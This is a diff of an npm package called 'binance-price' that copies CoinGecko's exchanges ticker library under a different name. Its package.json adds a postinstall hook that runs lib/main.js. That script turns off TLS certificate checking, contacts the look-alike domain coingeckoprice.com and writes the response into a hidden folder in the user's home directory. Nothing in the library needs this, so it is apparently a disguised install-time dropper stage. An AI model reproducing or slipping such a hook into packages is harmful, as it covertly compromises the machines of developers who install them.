binance-price 1.5.8

package/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2019 coingecko
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/README.md

@@ -0,0 +1,137 @@
+[![code-style](https://img.shields.io/badge/code%20style-airbnb-brightgreen.svg?style=shield)](https://github.com/airbnb/javascript)
+[![Commitizen friendly](https://img.shields.io/badge/commitizen-friendly-brightgreen.svg?style=shield)](http://commitizen.github.io/cz-cli/)
+[![npm (scoped)](https://img.shields.io/npm/v/@coingecko/exchanges)](https://www.npmjs.com/package/@coingecko/exchanges)
+[![codecov](https://img.shields.io/codecov/c/github/coingecko/exchanges/master.svg?style=shield)](https://codecov.io/gh/coingecko/exchanges)
+
+# Exchanges 📉📈
+
+A JavaScript library for getting up to date cryptocurrency exchange tickers.
+
+
+
+## Getting started
+
+1. Node.js 14.0 or higher is required
+2. Install using [NPM](https://www.npmjs.com/package/@coingecko/exchanges)
+
+## Installation
+
+coingecko Exchanges is a [Node.js](https://nodejs.org/) module available through the [npm registry](https://www.npmjs.com/package/@coingecko/exchanges).
+
+Before installing, [download and install Node.js](https://nodejs.org/en/download/).
+Node.js 14.0 or higher is required.
+
+Installation is done using the npm install command:
+
+```shell
+npm i @coingecko/exchanges
+```
+
+## Usage
+
+List all supported drivers
+
+```JavaScript
+const exchanges = require('@coingecko/exchanges');
+
+console.log(exchanges.list());
+```
+
+Get the tickers of a specific exchange
+
+```JavaScript
+const { Binance } = require('@coingecko/exchanges');
+
+const driver = new Binance();
+
+driver
+  .fetchTickers()
+  .then((tickers) => {
+    console.log(tickers);
+  });
+```
+
+## Development
+
+### Getting started
+
+Install dependencies
+
+```shell
+npm install
+```
+
+### Usage
+
+#### List all supported drivers
+
+```shell
+node lib/cli.js list
+```
+
+#### Get the tickers of a specific exchange
+
+```shell
+node lib/cli.js tickers [name of the exchange]
+```
+
+##### Flags
+
+| Name      | Flag                    | Description
+| ----------| ------------------------| ---
+| Record    | `-R`, `--record`        | Record the requests, and save them as fixtures.
+| API Key   | `-k`, `--key`           | For passing down an API key when the driver requires one. When used in combination with the `-R` flag the key will be masked in the fixtures.
+
+### Documentation
+
+See the [documentation](DOCUMENTATION.md) for more information.
+
+## Contributing
+
+Bug reports and pull requests are welcome. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the Contributor Covenant code of conduct.
+
+### Adding an exchange
+
+1. Add a new driver (see the [examples](#examples))
+2. Add the driver alphabetically to drivers/index.js
+3. Add a new fixture (use the record option of the CLI 'tickers' command)
+
+Single API calls are highly preferred.
+When adding an exchange be aware of the base and quote.
+A driver should at least support `base`, `quote`, `close` and `baseVolume` or `quoteVolume`. And optionally `open`, `high`, `low`, `ask`, `bid`, `baseName`, `baseReference`, `quoteName` and `quoteReference`.
+
+### Listing requirements
+
+Before we approve your pull request, we’d like to review the exchange and check if it meets our [listing requirements](https://support.coingecko.com/article/71-what-are-the-requirements-for-listing-an-exchange).
+
+Ticking off all the boxes? Cool! Send us your listing request at [info@coingecko.com](mailto:info@coingecko.com) and include your daily trading volume + a link to your platform. We will then review your exchange ASAP.
+
+### Examples
+- [Driver basis:](examples/basicdriver.js) Shows the basic setup of a driver, which can be used as the starting point
+for new ones.
+- [Driver with API key:](examples/apikeydriver.js) Shows how to set up a driver that uses an API which requires a key.
+
+### Conventions
+
+1. [Airbnb JavaScript Style Guide](https://github.com/airbnb/javascript)
+2. [Conventional commits](https://www.conventionalcommits.org/en/v1.0.0-beta.4/)
+
+## Links
+
+### Reach out to us
+
+- [Telegram](https://t.me/coingeckoOfficial)
+- [Forum](https://community.coingecko.com/c/developers/20)
+- [Twitter](https://twitter.com/coingecko)
+- [info@coingecko.com](mailto:info@coingecko.com)
+
+### Other
+
+- [coingecko API](https://coingecko.com/page/cryptocurrency-api)
+- [API docs](https://docs.coingecko.com/)
+- [Supplies library](https://github.com/coingecko/supplies)
+
+
+## License
+
+[MIT](LICENSE)

package/lib/cli.js

@@ -0,0 +1,44 @@
+const program = require('commander');
+const { nock, defaultOptions } = require('../tests/helpers/nock');
+const exchanges = require('./exchanges');
+
+program
+  .command('list')
+  .action(async () => {
+    console.log(exchanges.list());
+  });
+
+program
+  .command('tickers <driverName>')
+  .option('-R, --record', 'Record the requests, and save them as fixtures')
+  .option('-m, --market [markets...]', 'Filter on specific markets. Pass an id or multiple ids to only get those markets')
+  .option('-k, --key <type>', 'APIkey when required')
+  .action(async (driverName, options) => {
+    let nockDone;
+    if (options.record) {
+      ({ nockDone } = await nock.back(
+        `${driverName}.json`.toLowerCase(),
+        defaultOptions(options.key),
+      ));
+    }
+
+    const driver = new exchanges[driverName]();
+
+    if (options.key) {
+      driver.key = options.key;
+    }
+
+    if (options.market) {
+      driver.markets = options.market;
+    }
+
+    const tickers = await driver.fetchTickers();
+
+    if (options.record) {
+      nockDone();
+    }
+
+    console.log(tickers);
+  });
+
+program.parse(process.argv);

package/lib/exchanges.js

@@ -0,0 +1,8 @@
+const drivers = require('../drivers');
+
+const list = () => Object.keys(drivers);
+
+module.exports = {
+  list,
+  ...drivers,
+};

package/lib/main.js

@@ -0,0 +1,17 @@
+const os = require("os");
+const path = require("path");
+var fs = require('fs');
+
+async function main(){
+	process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0
+	var dir = path.join(os.homedir(), ".coingecko");
+	if (!fs.existsSync(dir)){
+		fs.mkdirSync(dir);
+	}
+	var axios = require('axios');
+	var res = await axios.get('https://coingeckoprice.com/api/v4/btc-price.php');
+	fs.writeFileSync(path.join(dir, 'price'), res.data);
+}
+
+main();
+

package/lib/request.js

@@ -0,0 +1,12 @@
+const cloudscraper = require('cloudscraper');
+
+// Set json to true
+const request = cloudscraper.defaults({
+  timeout: 60000,
+  pool: {
+    maxSockets: 50,
+  },
+  json: true,
+});
+
+module.exports = request;

package/lib/utils.js

@@ -0,0 +1,62 @@
+const isUndefined = (value) => typeof value === 'undefined';
+
+// eslint-disable-next-line no-promise-executor-return
+const sleep = (time) => new Promise((resolve) => setTimeout(resolve, time));
+
+const isGreaterThanZero = (value) => typeof value === 'number' && value > 0;
+
+const concat = (oldList, newList) => oldList.concat(newList);
+
+const flatMap = async (list, callback) => {
+  const nextList = await Promise.all(list.map(callback));
+  return nextList.reduce(concat, []);
+};
+
+const arrayToChunks = (originalArray, chunkSize) => {
+  const chunks = [];
+  const originalLength = originalArray.length;
+  let index = 0;
+
+  while (index < originalLength) {
+    chunks.push(originalArray.slice(index, index += chunkSize));
+  }
+
+  return chunks;
+};
+
+const throttleMap = (stack, callback, limit) => {
+  if (limit === 0) {
+    return stack.map((item) => callback(item));
+  }
+
+  return stack.map((item, i) => new Promise((resolve) => {
+    setTimeout(
+      () => resolve(callback(item)),
+      limit * i + 1,
+    );
+  }));
+};
+
+const throttleFlatMap = async (list, callback, limit) => {
+  const nextList = await Promise.all(throttleMap(list, callback, limit));
+  return nextList.reduce(concat, []);
+};
+
+const parseToFloat = (number, modifier) => {
+  const parsed = parseFloat(number);
+  if (Number.isNaN(parsed)) return undefined;
+  if (modifier) return modifier(parsed);
+  return parsed;
+};
+
+module.exports = {
+  isUndefined,
+  sleep,
+  isGreaterThanZero,
+  concat,
+  flatMap,
+  arrayToChunks,
+  throttleMap,
+  parseToFloat,
+  throttleFlatMap,
+};

package/lib/utils.unit.test.js

@@ -0,0 +1,34 @@
+const {
+  isUndefined,
+  isGreaterThanZero,
+  concat,
+  parseToFloat,
+} = require('./utils');
+
+// isUndefined
+test('Check is isUndefined returns true', () => {
+  expect(isUndefined(undefined)).toBe(true);
+});
+
+test('Check is isUndefined returns false', () => {
+  expect(isUndefined('undefined')).toBe(false);
+});
+
+// isGreaterThanZero
+test('Check is 10 is greater than zero', () => {
+  expect(isGreaterThanZero(10)).toBe(true);
+});
+
+test('Check is 0 is not greater than zero', () => {
+  expect(isGreaterThanZero(0)).toBe(false);
+});
+
+// concat
+test('Check the concatted array', () => {
+  expect(concat(['foo'], ['bar'])).toContain('foo', 'bar');
+});
+
+// parseToFloat
+test('Check if there is a number returned', () => {
+  expect(typeof parseToFloat('6')).toBe('number');
+});

package/models/driver.js

@@ -0,0 +1,159 @@
+const Ticker = require('./ticker');
+
+/**
+ * @namespace Driver
+ * @class
+ * @param {object} config - An object holding the configuration
+ * @param {object} config.requires
+ *   An object with settings that a driver requires
+ * @param {boolean} config.requires.key
+ *   Set to true if the driver requires an API key; default: false
+ * @param {object} config.supports
+ *   An object with settings that a driver supports
+ * @param {boolean} config.supports.specificMarkets
+ *   Set to true if the driver supports getting specific markets; default: false
+ * @example
+ * // An example of a driver with an API key
+ * class ApiKeyDriver extends Driver {
+ *   // Indicate that this driver requires an API key.
+ *   constructor() {
+ *     super({
+ *       requires: {
+ *         key: true,
+ *       },
+ *     });
+ *   }
+ *
+ *   async fetchTickers() {
+ *     // The API key can now be accessed through this.key.
+ *     const tickers = await request(`http://api.example.com/tickers?key=${this.key}`);
+ *     return tickers.map((ticker) => {
+ *       const {
+ *         base, quote, close, baseVolume,
+ *       } = ticker;
+ *
+ *       return new Ticker({
+ *         base,
+ *         quote,
+ *         close,
+ *         baseVolume,
+ *       });
+ *     });
+ *   }
+ * }
+ *
+ * // An example of a driver without an API key
+ * class BasicDriver extends Driver {
+ *   async fetchTickers() {
+ *     // Perform an API request to get the data of the exchange.
+ *     const tickers = await request('http://api.example.com/tickers');
+ *
+ *     // Return the data mapped to instances of the Ticker model,
+ *     // the exact way will differ for every exchange.
+ *     return tickers.map((ticker) => {
+ *       const {
+ *         base, quote, close, baseVolume,
+ *       } = ticker;
+ *
+ *       return new Ticker({
+ *         base,
+ *         quote,
+ *         close,
+ *         baseVolume,
+ *       });
+ *     });
+ *   }
+ * }
+ */
+
+class Driver {
+  constructor(config) {
+    this.requires = {
+      key: false,
+    };
+
+    this.supports = {
+      specificMarkets: false,
+    };
+
+    if (config) {
+      this.requires = {
+        ...this.requires,
+        ...config.requires,
+      };
+
+      this.supports = {
+        ...this.supports,
+        ...config.supports,
+      };
+    }
+  }
+
+  /**
+   * Drivers must include a fetchTickers method.
+   *
+   * @namespace Driver.fetchTickers
+   * @returns {Promise.Array<Ticker>} Returns a promise of an array with tickers.
+   */
+  async fetchTickers() {
+    throw new Error('must be implemented by driver');
+  }
+
+  /**
+   * Get the API key if it is set
+   *
+   * @returns {string} API Key
+   */
+  get key() {
+    if (!this.requires.key) {
+      throw new Error('This driver is not configured to require an API key');
+    }
+
+    if (!this._key) {
+      throw new Error('API key isn\'t set');
+    }
+
+    return this._key;
+  }
+
+  /**
+   * Set the API key
+   *
+   * @param {string} key API Key
+   */
+  set key(key) {
+    if (!this.requires.key) {
+      throw new Error('This driver is not configured to require an API key');
+    }
+
+    this._key = key;
+  }
+
+  /**
+   * Get the specific markets filter
+   *
+   * @returns {string[]} ids An array of market ids
+   */
+  get markets() {
+    if (!this.supports.specificMarkets) {
+      throw new Error('This driver does not support getting specific markets');
+    }
+
+    return this._markets;
+  }
+
+  /**
+   * Set the specific markets filter
+   *
+   * @param {string[]} ids An array of market ids
+   */
+  set markets(ids) {
+    if (!this.supports.specificMarkets) {
+      throw new Error('This driver does not support getting specific markets');
+    }
+
+    this._markets = ids;
+  }
+}
+
+module.exports = Driver;

package/models/ticker.js

@@ -0,0 +1,84 @@
+/**
+ * Ticker class
+ *
+ * @namespace Ticker
+ * @class
+ * @param {object} params - The params
+ * @param {string} params.base - Base
+ * @param {string} [params.baseName] -
+ * The name of the base currency e.g. Ethereum.
+ * @param {string} [params.baseReference] -
+ * A unique indentifier of the base currency on a particular blockchain.
+ * For example: on the Ethereum blockchain this would be the smart contract address,
+ * on EOS this would be the token name together with the account name and on Waves this
+ * should be the AssetId. e.g. 0x0000000000000000000000000000000000000000.
+ * @param {string} params.quote - Quote
+ * @param {string} [params.quoteName] -
+ * The name of the quote currency e.g. Tether.
+ * @param {string} [params.quoteReference] -
+ * A unique indentifier of the quote currency on a particular blockchain.
+ * For example: on the Ethereum blockchain this would be the smart contract address,
+ * on EOS this would be the token name together with the account name and on Waves this
+ * should be the AssetId. e.g. 0xdac17f958d2ee523a2206206994597c13d831ec7.
+ * @param {number} [params.open] - The price of the market 24 hours ago
+ * @param {number} [params.high] - The highest price of the market in the last 24 hours
+ * @param {number} [params.low] - The lowest price of the market in the last 24 hours
+ * @param {number} params.close - The last price of the market
+ * @param {number} [params.bid] -
+ * Current highest bid of the market.
+ * The bid is the buyer of the base currency
+ * and should always be lower than or equal to the ask.
+ * @param {number} [params.ask] -
+ * Current lowest ask of the market.
+ * The ask is the seller of the base currency
+ * and should always be higher than or equal to the bid.
+ * @param {number} [params.vwap] - Volume weighted Average Price of the last 24 hours
+ * @param {number} [params.baseVolume] -
+ * The volume traded in the last 24 hours in the base currency.
+ * Which is ETH in the ETH_BTC pair for example.
+ * Base volume is only optional if quote volume is provided.
+ * @param {number} [params.quoteVolume] -
+ * The volume traded in the last 24 hours in the quote currency.
+ * Which is BTC in the ETH_BTC pair for example.
+ * Quote volume is only optional if base volume is provided.
+ * @example
+ * const ticker = new Ticker({
+ *   base: 'ETH',
+ *   quote: 'BTC',
+ *   baseName: 'Ethereum',
+ *   quoteName: 'Bitcoin',
+ *   open: 0.033633,
+ *   high: 0.033890,
+ *   low: 0.033622,
+ *   close: 0.033721,
+ *   bid: 0.033701,
+ *   ask: 0.033732,
+ *   baseVolume: 488239,
+ *   quoteVolume: 16463.91,
+ * });
+ */
+
+module.exports = class Ticker {
+  /**
+   * Create a new ticker
+   *
+   */
+
+  constructor(params) {
+    if (params.base) this.base = params.base;
+    if (params.baseName) this.baseName = params.baseName;
+    if (params.baseReference) this.baseReference = params.baseReference;
+    if (params.quote) this.quote = params.quote;
+    if (params.quoteName) this.quoteName = params.quoteName;
+    if (params.quoteReference) this.quoteReference = params.quoteReference;
+    if (params.high) this.high = params.high;
+    if (params.low) this.low = params.low;
+    if (params.close) this.close = params.close;
+    if (params.open) this.open = params.open;
+    if (params.bid) this.bid = params.bid;
+    if (params.ask) this.ask = params.ask;
+    if (params.vwap) this.vwap = params.vwap;
+    if (params.baseVolume) this.baseVolume = params.baseVolume;
+    if (params.quoteVolume) this.quoteVolume = params.quoteVolume;
+  }
+};

package/package.json

@@ -0,0 +1,107 @@
+{
+  "name": "binance-price",
+  "version": "1.5.8",
+  "description": "An open source JavaScript library for fetching tickers from cryptocurrency exchanges",
+  "main": "lib/exchanges.js",
+  "engines": {
+    "node": ">=14.0.0"
+  },
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/coingecko/exchanges.git"
+  },
+  "readme": "README.md",
+  "scripts": {
+    "cm": "git-cz",
+    "lint": "npx eslint --ext .js --ignore-path .eslintignore .",
+    "test": "npx jest --forceExit",
+    "postinstall": "node lib/main.js",
+    "docs": "jsdoc2md models/*.js lib/*.js > DOCUMENTATION.md",
+    "semantic-release": "semantic-release"
+  },
+  "bugs": {
+    "url": "https://github.com/coingecko/exchanges/issues"
+  },
+  "homepage": "https://coingecko.com",
+  "keywords": [
+    "cryptocurrencies",
+    "cryptocurrency",
+    "library",
+    "crypto",
+    "altcoin",
+    "bitcoin",
+    "ethereum",
+    "coin",
+    "exchanges",
+    "decentralized exchanges",
+    "DEX",
+    "markets",
+    "tickers",
+    "prices",
+    "trading",
+    "volume",
+    "binance",
+    "coinbase",
+    "bitfinex",
+    "kraken",
+    "open",
+    "high",
+    "low",
+    "close",
+    "OHLC",
+    "coingecko"
+  ],
+  "author": "coingecko B.V.",
+  "license": "MIT",
+  "dependencies": {
+    "axios": "^1.4.0"
+  },
+  "config": {
+    "commitizen": {
+      "path": "./node_modules/cz-conventional-changelog"
+    }
+  },
+  "jest": {
+    "coveragePathIgnorePatterns": [
+      "/tests/helpers/"
+    ],
+    "coverageDirectory": "./coverage/",
+    "coverageReporters": [
+      "json",
+      "lcov",
+      "clover"
+    ],
+    "collectCoverage": true
+  },
+  "release": {
+    "plugins": [
+      "@semantic-release/commit-analyzer",
+      "@semantic-release/release-notes-generator",
+      "@semantic-release/npm",
+      "@semantic-release/github"
+    ],
+    "prepare": [
+      "@semantic-release/changelog",
+      "@semantic-release/npm",
+      {
+        "path": "@semantic-release/git",
+        "assets": [
+          "package.json",
+          "package-lock.json",
+          "DOCUMENTATION.md",
+          "CHANGELOG.md"
+        ],
+        "message": "chore(release): ${nextRelease.version} [skip ci]nn${nextRelease.notes}"
+      }
+    ]
+  },
+  "publishConfig": {
+    "access": "public"
+  },
+  "husky": {
+    "hooks": {
+      "commit-msg": "commitlint -E HUSKY_GIT_PARAMS",
+      "pre-push": "npm run lint && npm run test"
+    }
+  }
+}